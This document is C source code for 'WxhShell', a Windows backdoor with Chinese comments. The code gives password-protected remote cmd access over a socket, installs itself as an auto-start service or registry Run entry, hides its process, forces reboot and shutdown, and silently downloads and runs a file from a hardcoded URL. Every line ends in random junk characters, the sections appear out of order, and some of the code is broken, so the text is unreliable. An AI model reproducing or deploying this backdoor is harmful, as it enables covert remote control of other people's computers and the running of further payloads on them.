    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wr,X@y%(!  
    if(Boot(SHUTDOWN)) i`Fg kABw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N& VT"  
    else { |(N4ZmTm  
    closesocket(wsh); *X8<hYKZq  
    ExitThread(0); vT"T*FKh:  
    } J @C8;]  
    break; |VbF&*v`  
    } rD<G_%hP  
  // 获取shell P0uUVU=B|  
  case 's': { Sq8` )$\  
    CmdShell(wsh); EzqYHY+_r  
    closesocket(wsh); zm4Okg)w@  
    ExitThread(0); 0^nnR7  
    break; Z7% |'E R  
  } w]X~I/6g  
  // 退出 Qc#<RbLL  
  case 'x': { ; S7 %  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uq `B#JI  
    CloseIt(wsh); -'3~Y 2#  
    break; = zW}vm }  
    } Zm,<2BP>  
  // 离开 0][PL%3Z  
  case 'q': { a<7Ui;^@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zy _A3m{  
    closesocket(wsh); ]f#ZU{A'mt  
    WSACleanup(); -8;U1^#  
    exit(1); "f/lm 2<  
    break; Ic/D!J{Y  
        } d]6.$"\" p  
  } ax0RtqtR&  
  } :pj#t$:!  
\E1[ /  
  // 提示信息 ^M6xRkI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBZFIFO<  
} -:b0fKn  
  } H(9%SP@[c  
3Xyu`zS&   
  return; wR +C>  
} <o,]f E[  
=u W+>;]  
// shell模块句柄 TbbtD"b?  
int CmdShell(SOCKET sock) URS6 LM  
{ p9rnhqH6  
STARTUPINFO si; I!3qb-.Q  
ZeroMemory(&si,sizeof(si)); Wcd;B7OH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4^\5]d!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8gWifx #N  
PROCESS_INFORMATION ProcessInfo; CIAHsbn.A  
char cmdline[]="cmd"; )!J0e-T-8O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $K>'aI;|  
  return 0; &Iv3_T<AF  
} Uu ~BErEC  
{^zieP!  
// 自身启动模式 Y5 e6|b|  
int StartFromService(void) p'z fo!  
{ 0)n#$d>  
typedef struct .si!`?K%[  
{ 0J7)UqMf.  
  DWORD ExitStatus; ,pL%,>R5  
  DWORD PebBaseAddress; XA75tU[#  
  DWORD AffinityMask; 6&/n/g  
  DWORD BasePriority; sT:$:=  
  ULONG UniqueProcessId; ;zVtJG`  
  ULONG InheritedFromUniqueProcessId; {#"[h1  
}   PROCESS_BASIC_INFORMATION; w&<-pIa`  
dnt: U!TW@  
PROCNTQSIP NtQueryInformationProcess; hAq7v']m  
A+v6N>}*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #vCtH2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :MPWf4K2s  
<yzgZXxIaS  
  HANDLE             hProcess; |^p7:)cy  
  PROCESS_BASIC_INFORMATION pbi; L5$r<t<  
X:Z4QqT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^-Ob($(\  
  if(NULL == hInst ) return 0; ) Zud|%L  
:k9n 9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d Bn/_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Vq_/g!?1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x[l_dmq  
.: gZ*ks~  
  if (!NtQueryInformationProcess) return 0; 6\"g,f  
@%Y$@Qb{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }jTCzqHW]  
  if(!hProcess) return 0; uFPJ}m[>5  
yneIY-g(p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T= Q"| S]V  
Mg3>/!  
  CloseHandle(hProcess); 2;X{ZLo  
06pEA.ro  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b#\i]2b:  
if(hProcess==NULL) return 0; *b#00)d  
]M%kt+u!  
HMODULE hMod; a&oz<4oT  
char procName[255]; klSzmi4M  
unsigned long cbNeeded; vzDoF0Ts*p  
@BCws )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~1e?9D  
Z,~Bz@5`"  
  CloseHandle(hProcess); W  &wqN  
^APPWQUl  
if(strstr(procName,"services")) return 1; // 以服务启动 \$;Q3t3  
@hC,J  
  return 0; // 注册表启动 M.B0)  
} '?7?"v  
rjsqXo:9  
// 主模块 'u"r^o?  
int StartWxhshell(LPSTR lpCmdLine) 7i(U?\A;.  
{ EVs.'Xg<  
  SOCKET wsl; v&}+ps_W  
BOOL val=TRUE; ,au-g)IFZ  
  int port=0; #r{`Iv ?nn  
  struct sockaddr_in door; c*F'x-TH  
6,Aj5jG  
  if(wscfg.ws_autoins) Install(); Gp*U2LB  
$TU)O^c  
port=atoi(lpCmdLine); , c3gW2E  
^\|Hz\"*  
if(port<=0) port=wscfg.ws_port; D9.H<.|36  
x@^Kd*fo  
  WSADATA data; OJX* :Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "h.-qQGU%  
|Uf[x[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZWJ%t'kF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `*?8<Vm  
  door.sin_family = AF_INET; ~:h-m\=8Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W>jgsR79M  
  door.sin_port = htons(port); yxv]G6  
uh,~Cv XU]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > wsS75n1  
closesocket(wsl); FUy!j|W6f  
return 1; t4HDt\}&k~  
} St9+/Md=jQ  
Y;qA@|  
  if(listen(wsl,2) == INVALID_SOCKET) { /eFudMl  
closesocket(wsl); <hG] f%  
return 1; #L,>)XkjS  
} rID_^g_tP8  
  Wxhshell(wsl); vpTYfE  
  WSACleanup(); X0G Mly  
i;+]Y   
return 0; R 2.y=P8N  
-v]v m3Na  
} F|Y}X|x8Q  
<qGVOAnz+  
// 以NT服务方式启动 1rhEk|pGZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) funHznRR  
{ ]{2Eo  
DWORD   status = 0; cSMiNR  
  DWORD   specificError = 0xfffffff; z x e6M~+  
q ERdQ~M,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SM3qPlsF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vsFRWpq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {3V%  
  serviceStatus.dwWin32ExitCode     = 0; ;0R|#9oX_  
  serviceStatus.dwServiceSpecificExitCode = 0;  D I` M  
  serviceStatus.dwCheckPoint       = 0; f[S$ Gu4-  
  serviceStatus.dwWaitHint       = 0; N\ Nwmx  
ry99R|/d1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pUTC~|j%:  
  if (hServiceStatusHandle==0) return; V%kZ-P*  
zxo0:dyw7  
status = GetLastError(); A'jw;{8NpF  
  if (status!=NO_ERROR) kqyV UfX$3  
{ )Fa6 'M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C3m](%?   
    serviceStatus.dwCheckPoint       = 0; A4kYE A  
    serviceStatus.dwWaitHint       = 0; ez2rCpA  
    serviceStatus.dwWin32ExitCode     = status; K/^70;/!.  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^F}HWpF_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (YOp  
    return; f76bEe/B9  
  } 0u,OW  
fe,A\W&8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $ U~3$*R  
  serviceStatus.dwCheckPoint       = 0; f;Cu@z{b  
  serviceStatus.dwWaitHint       = 0; c= f _  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sg=mkkD!g  
} =%wwepz6  
}Y{aVn&C  
// 处理NT服务事件,比如:启动、停止 L%3m_'6QP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J}c`\4gD  
{ X?B9Z8  
switch(fdwControl) NZj_7j|o9  
{ ^:c:~F6J  
case SERVICE_CONTROL_STOP: h[Hn*g  
  serviceStatus.dwWin32ExitCode = 0; M=HP!hn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MV+S.`R  
  serviceStatus.dwCheckPoint   = 0; > `uk2QdC  
  serviceStatus.dwWaitHint     = 0; #gHs!b-g@  
  { |?a 4Nl?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n\U3f M>N  
  } mAI<zh&SQ  
  return; !'ylh8}  
case SERVICE_CONTROL_PAUSE: Ru1I,QvCj"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U}r^M( s!  
  break; X?RnP3t~  
case SERVICE_CONTROL_CONTINUE: nWrkn m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \|OW`7Q)k  
  break; C>1fL6ct  
case SERVICE_CONTROL_INTERROGATE: &n5Lc`  
  break; {nl]F  
}; X={n9*Sd8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c5jd q[0  
} d|nJp-%V  
?O]iX;2vM  
// 标准应用程序主函数 _t9@ vVQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {95z\UE}  
{ )v4?+$g  
4V$DV!dPQ}  
// 获取操作系统版本 a0s6G3J+9  
OsIsNt=GetOsVer(); Hl@)j   
GetModuleFileName(NULL,ExeFile,MAX_PATH); U ?%1:-#F  
K >-)O=$s  
  // 从命令行安装 M-  f)\`I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Q2P"1>KT/  
09_L^'`  
  // 下载执行文件 _~^JRC[q  
if(wscfg.ws_downexe) { |.]:#)^X?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d"7l<y5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]#UyYgPk  
} L`fDc  
pi'w40!:  
if(!OsIsNt) { @kq~q;F  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~ jR:oN  
HideProc(); ` 0YI?$G1  
StartWxhshell(lpCmdLine); ZTq"SQ>ym  
} c4T8eTKU  
else E"EBj7<s  
  if(StartFromService()) ddf# c,SQ  
  // 以服务方式启动 ,mu=#}a@}  
  StartServiceCtrlDispatcher(DispatchTable); xz @/^Cj  
else DOr()X  
  // 普通方式启动 YW|KkHi*  
  StartWxhshell(lpCmdLine); "IK QFt'  
{"cS:u  
return 0; kt.y"^  
} Cg~GlZk}  
Jgf73IX[  
#$<7  
yK1Z&7>J>  
=========================================== ]5!}S-uJq  
kJ;fA|(I  
`M "O #  
?qn0].  
' 9K4A'2[  
s'&/8RR  
" kfod[*3  
R\L0   
#include <stdio.h> :/Zy=F9:  
#include <string.h> }RGp)OFY&  
#include <windows.h> &&N]u e@>  
#include <winsock2.h> 2>E.Q@c  
#include <winsvc.h> uP'x{Pr)  
#include <urlmon.h> *3S ./ C}  
l.DC20bs  
#pragma comment (lib, "Ws2_32.lib") '>GZB  
#pragma comment (lib, "urlmon.lib") L_>j SP  
LK "47  
#define MAX_USER   100 // 最大客户端连接数 IX!Q X  
#define BUF_SOCK   200 // sock buffer g$qNK`y  
#define KEY_BUFF   255 // 输入 buffer SA5 g~{"  
De^GWO.?bT  
#define REBOOT     0   // 重启 kW v)+  
#define SHUTDOWN   1   // 关机 yq3i=RB(  
[V\0P,l  
#define DEF_PORT   5000 // 监听端口 vm3B>ACJ  
%fS__Tb#u  
#define REG_LEN     16   // 注册表键长度 /$'R!d5r  
#define SVC_LEN     80   // NT服务名长度 3NEbCILF  
{Jv m *   
// 从dll定义API BE54^U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cf-R?gn]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &^R0kCF`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qO yg&]7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H_RVGAb U  
QEl:>HG  
// wxhshell配置信息 IF<?TYy=3B  
struct WSCFG { 67Z.aaXD1  
  int ws_port;         // 监听端口 >x(3p@6p  
  char ws_passstr[REG_LEN]; // 口令 +V"t't7  
  int ws_autoins;       // 安装标记, 1=yes 0=no %UquF  
  char ws_regname[REG_LEN]; // 注册表键名 ail%#E8  
  char ws_svcname[REG_LEN]; // 服务名 &dqC =oK]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 82w='~y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J|DID+M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3y}0J @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #d+bld\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N# Ru `;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 80X #V  
a$ f$CjQ  
}; Kh)SgJ3B@  
<NV[8B#k]  
// default Wxhshell configuration [B}$U|V0  
struct WSCFG wscfg={DEF_PORT, 1^G*)Qn5Df  
    "xuhuanlingzhe", xWY%-CWY.  
    1, 95.m^~5  
    "Wxhshell", CJ*8x7-t  
    "Wxhshell", Z J:h]  
            "WxhShell Service", D49yV`  
    "Wrsky Windows CmdShell Service", ;a]2hd"6  
    "Please Input Your Password: ", j@jaFsX |  
  1, S>W_p~ @  
  "http://www.wrsky.com/wxhshell.exe", Z.a`S~U  
  "Wxhshell.exe" CzP?J36W^  
    }; 3` ov?T(H  
jhd&\z-  
// 消息定义模块 b' 1%g}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oy I8}s:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tw:j}ERq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2}Ga   
char *msg_ws_ext="\n\rExit."; 3h:"-{MW.  
char *msg_ws_end="\n\rQuit."; 0dv# [  
char *msg_ws_boot="\n\rReboot..."; xPFNH`O&  
char *msg_ws_poff="\n\rShutdown..."; OH2Xxr[bQ  
char *msg_ws_down="\n\rSave to "; =(ULfz[:  
]8)nIT^EP  
char *msg_ws_err="\n\rErr!"; 5PY,}1`  
char *msg_ws_ok="\n\rOK!"; 0n5{Wr$  
jB+K)NXHL  
char ExeFile[MAX_PATH]; [O) Q\|k  
int nUser = 0; 9M3XHj  
HANDLE handles[MAX_USER]; L: hEt  
int OsIsNt; ?:D#\4=US  
i:9f#  
SERVICE_STATUS       serviceStatus; .>4Zt'gCt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `)sC".b7  
@" -[@  
// 函数声明 #t.)4$  
int Install(void); q*`1<9{H  
int Uninstall(void); T%{qwZc+mJ  
int DownloadFile(char *sURL, SOCKET wsh); #bxUI{*J  
int Boot(int flag); *VJT]^_  
void HideProc(void); jH+ddBVA  
int GetOsVer(void); Up:<NHJT  
int Wxhshell(SOCKET wsl); 2Zf} t  
void TalkWithClient(void *cs); G}!dm0s$  
int CmdShell(SOCKET sock); ~Z74e>V%  
int StartFromService(void); _J'V5]=4  
int StartWxhshell(LPSTR lpCmdLine); :~K c"Pg  
oD_n+95B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T$ <l<.Qd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q J)[2:.G  
o:`>r/SlL  
// 数据结构和表定义 XH9Y|FX%#  
SERVICE_TABLE_ENTRY DispatchTable[] = WCK;r{p%I  
{ FW](GWp`:  
{wscfg.ws_svcname, NTServiceMain}, S8 +GM  
{NULL, NULL} e^;<T9Esr  
}; L9,;zkgo  
0L3v[%_j"  
// 自我安装 O=2"t%Gc  
int Install(void) P ?- #d\qi  
{ xq#YBi,  
  char svExeFile[MAX_PATH]; du,mbTQib  
  HKEY key; [sxJ<  
  strcpy(svExeFile,ExeFile); ,,U8X [A  
 58S>B'  
// 如果是win9x系统,修改注册表设为自启动 {bQi z  
if(!OsIsNt) { xa7~{ E,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A1VbqA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l/(|rl#6  
  RegCloseKey(key); BSe{HmDq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j2@19YXe@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Y NV  
  RegCloseKey(key); @|3PV  
  return 0; woQ UrO(  
    } %}T' 3  
  } lB7 V4  
} 0?x9.]  
else { 0A]+9@W;  
`7.(dn>WL0  
// 如果是NT以上系统,安装为系统服务 eouxNw}F1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KwEyMR!  
if (schSCManager!=0) yeI((2L@E2  
{ Qn=#KS8=J  
  SC_HANDLE schService = CreateService jv8diQ.  
  ( <xb=.xe  
  schSCManager, !CJh6X !  
  wscfg.ws_svcname, B,2oA]W"S  
  wscfg.ws_svcdisp, \FE  
  SERVICE_ALL_ACCESS, $mH'%YDIl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E5>y?N  
  SERVICE_AUTO_START, ],!7S"{97  
  SERVICE_ERROR_NORMAL, 6p=OM=R  
  svExeFile, ^p@R!228  
  NULL, vvWje:H  
  NULL, uyE_7)2d  
  NULL, Kx8>  
  NULL, aPR0DZ@  
  NULL \=3fO(  
  ); _'CYS3-P3  
  if (schService!=0) E{):z g  
  { etcpto=Mo  
  CloseServiceHandle(schService); BQ[,(T`+R  
  CloseServiceHandle(schSCManager); &CtWWKS"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z}772hMB  
  strcat(svExeFile,wscfg.ws_svcname); p\>im+0oh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a$}n4p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bu%TTbnz_G  
  RegCloseKey(key); /'yi!:FZFC  
  return 0; @<n8?"{5S  
    } h;s~I/e(  
  } *x0nAo_n  
  CloseServiceHandle(schSCManager); s":\ >  
} } `X.^}oe  
} ~8rVf+bg3  
c8R#=^ DD  
return 1; t<UtSkE1  
} !)!<. x  
<KBzZ !n5  
// 自我卸载 4u!<3-3Zy  
int Uninstall(void) <@+>A$~0  
{ }3^b1D>2O  
  HKEY key; G1 :*F8q  
W*S !}ZT`  
if(!OsIsNt) { ;!k{{Xndd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Hx._I$l  
  RegDeleteValue(key,wscfg.ws_regname); f:w#r.]  
  RegCloseKey(key);  !623;   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hny(:Dj  
  RegDeleteValue(key,wscfg.ws_regname); Xp_3EQl  
  RegCloseKey(key); *>=|"ff  
  return 0; R)[ l 3  
  } nQ\)~MKd  
} 'N7AVj  
} 7Ud  
else { QqF&lMH  
9f wFSJx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TgDx3U[  
if (schSCManager!=0) /:<.Cn>-  
{ $ts%SDM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RyAss0Sm^  
  if (schService!=0) Z'u:Em  
  { )P)Zds@F  
  if(DeleteService(schService)!=0) { | e&v;48  
  CloseServiceHandle(schService); ]j^V5y"  
  CloseServiceHandle(schSCManager); $@VQ{S  
  return 0; BGe&c,feIc  
  } $<]G#&F   
  CloseServiceHandle(schService); C>A*L4c]F  
  } CH`_4UAX%  
  CloseServiceHandle(schSCManager); yjq~O~  
} .lcI"%>  
} z 8w&;Ls  
MO1t 0Myc  
return 1; ulqh}Uv'  
} +!'rw D  
/q3]AVV  
// 从指定url下载文件 eM>f#M  
int DownloadFile(char *sURL, SOCKET wsh) v?9  
{ KX|7mr90K  
  HRESULT hr; n)~9  
char seps[]= "/"; \Y?ByY  
char *token; z }t{bm  
char *file; F74^HQ*J  
char myURL[MAX_PATH]; uyp|Xh,  
char myFILE[MAX_PATH]; 4a]$4LQV  
GadZ!_.f  
strcpy(myURL,sURL); xe=/T# %  
  token=strtok(myURL,seps); Lwy9QZL  
  while(token!=NULL) '`+GC9VG  
  { xUKn  
    file=token; nc0!ag  
  token=strtok(NULL,seps); A3;}C+K  
  } jTDaW8@L  
0Ud.u  
GetCurrentDirectory(MAX_PATH,myFILE); 2#^@awJ ?  
strcat(myFILE, "\\"); m\Xgvpv rP  
strcat(myFILE, file); ['G@`e*\  
  send(wsh,myFILE,strlen(myFILE),0);  hxedQvW  
send(wsh,"...",3,0); l9zkx'xt.-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O6P{+xj$  
  if(hr==S_OK) oX;D|8 f  
return 0; App9um3:  
else + Q $J q  
return 1; ;I#f:UQ  
|k3^ eeLk  
} }8zw| (GR,  
sfN6ro  
// 系统电源模块 V>Zw" #Q  
int Boot(int flag) 7Zf * T  
{ C5W} o:jE  
  HANDLE hToken; jMH=lQ+8  
  TOKEN_PRIVILEGES tkp; "< c,I=A  
 UE-+P  
  if(OsIsNt) { AWXBk+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aj$#8l |zu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wcd1.$ n  
    tkp.PrivilegeCount = 1; tlz+!>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )PU_'n=>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `!JcQ'u  
if(flag==REBOOT) { U)3*7D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  /uyZ[=5  
  return 0; 2brxV'tk  
} |#)S`Ua1  
else { {FrcpcrQa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %]iDhXLr  
  return 0; g aq"+@fH  
} -q8R'?z[  
  } y|e@zf  
  else { Pf4b/w/  
if(flag==REBOOT) { wB~5&:]jr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { ]F };_  
  return 0; ?Ji nX'z  
} qi&;2Yv  
else { C.& R,$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @gn}J'  
  return 0; d7*fP S  
} Rl%?c5U/$  
} : }q~<  
_UqE -+&  
return 1; x9U(,x6r  
} :d!qZFln  
uE}A-\G  
// win9x进程隐藏模块 {tN?)~ZQ  
void HideProc(void) qoo+=eh!  
{ ~h<<-c  
T=kR!Gx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?KKu1~a_  
  if ( hKernel != NULL ) dpTeF`N  
  { d hp-XIA;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9Sy|:J0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h3<L,Olp  
    FreeLibrary(hKernel); -!C9x?gNY  
  } V*C%r:5 ,v  
}C<<l5/ z  
return; !I8m(axW  
} 1h[xVvo<L  
SFiK_;  
// 获取操作系统版本 8(b C.  
int GetOsVer(void) 0?{Y6:d+  
{ qSg=[7XOO  
  OSVERSIONINFO winfo; 4dgo*9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EJz?GM  
  GetVersionEx(&winfo); T|L_ +(M{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9r efv  
  return 1; k\NwH?ppu  
  else k-zkb2  
  return 0; q9^6A90  
} JJ+A+sfdk  
$ncJc  
// 客户端句柄模块 ptlcG9d-  
int Wxhshell(SOCKET wsl) \D<w:\P  
{ .EXe3!J)!  
  SOCKET wsh; :|V`QM  
  struct sockaddr_in client; T[<deQ  
  DWORD myID; PE\.JU  
,ezC}V0M  
  while(nUser<MAX_USER) d`g)(*  
{ \a}_=O  
  int nSize=sizeof(client); U =G}@Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?C6DK{S(  
  if(wsh==INVALID_SOCKET) return 1; n$03##pf  
b)e';M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e0nr dM[i  
if(handles[nUser]==0) ^s;xLGl]  
  closesocket(wsh); *2(W`m  
else ,2R7AHk  
  nUser++; *\M$pUS{  
  } Ul`~d !3zH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P#ro;3S3y  
K4[X P]\jr  
  return 0; ;GjZvo  
} :=J^"c  
A@o:mZ+XN(  
// 关闭 socket 8=Z]?D=  
void CloseIt(SOCKET wsh) 6M/*]jLq4  
{ UgBD| ~zu  
closesocket(wsh); @_L:W1[  
nUser--; q"uP%TN  
ExitThread(0); RY4b <i3  
} bFv,.(h'  
^hN.FIzM  
// 客户端请求句柄 J,&B   
void TalkWithClient(void *cs) ^G*zFqa+`  
{ i"HENJyCb  
97]$*&fH  
  SOCKET wsh=(SOCKET)cs; n-5@<y^  
  char pwd[SVC_LEN]; rZt7C(FM$7  
  char cmd[KEY_BUFF]; -{=c T?"+  
char chr[1]; e+? -#  
int i,j; W bP wO  
D#pZN,'  
  while (nUser < MAX_USER) { 5e|2b] f$  
u[>hs \3k  
if(wscfg.ws_passstr) { ]-D&/88``  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1;Q>B>6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]%4rL S  
  //ZeroMemory(pwd,KEY_BUFF); @TWtM#  
      i=0; [Dv6z t>  
  while(i<SVC_LEN) { %{sL/H_  
EK JPeeRY  
  // 设置超时 DJu&l  
  fd_set FdRead; OSDx  
  struct timeval TimeOut; &AS<2hB  
  FD_ZERO(&FdRead); KXS{@/"-B  
  FD_SET(wsh,&FdRead); Naqz":%.  
  TimeOut.tv_sec=8; IdzrQP  
  TimeOut.tv_usec=0; <.N33 7!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y2B ",v"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M }H7`,@I  
-j<g}IG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }p <p(  
  pwd=chr[0]; +I9+L6>UR  
  if(chr[0]==0xd || chr[0]==0xa) { UyWKE<  
  pwd=0; aV6l"A]  
  break; QSNLo_z  
  } -T  5$l  
  i++; rP=!!fC1;  
    } #SR"Q`P  
'~Z#h  P  
  // 如果是非法用户,关闭 socket FX6 *`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =q4 QBAW  
} vA(')"DDT  
kV mJG#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1q&gTvIp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?d? cD  
)iiwxpdw  
while(1) { [8b,}i 1  
a33SY6.  
  ZeroMemory(cmd,KEY_BUFF); %mv9+WJN.  
x,3oa_'E  
      // 自动支持客户端 telnet标准   +"!=E erKi  
  j=0; }"{NW!RfP  
  while(j<KEY_BUFF) { UhX`BGpM{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bN',-[E  
  cmd[j]=chr[0]; .).*6{_  
  if(chr[0]==0xa || chr[0]==0xd) { `c-(1 ;Jb  
  cmd[j]=0; 3XeCaq'N  
  break; QvF UFawN  
  } d:x=g i!  
  j++; 3cp"UU}.  
    } )%}?p2.  
KT5"/fv  
  // 下载文件 dF- d  
  if(strstr(cmd,"http://")) { 'za4c4b*u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hsoe?kUHF  
  if(DownloadFile(cmd,wsh)) X[XSf=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O 0lQ1<=  
  else u}[Z=V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m9Z3q ;  
  } dB^')-wA  
  else { cX64 X  
/y \KLa  
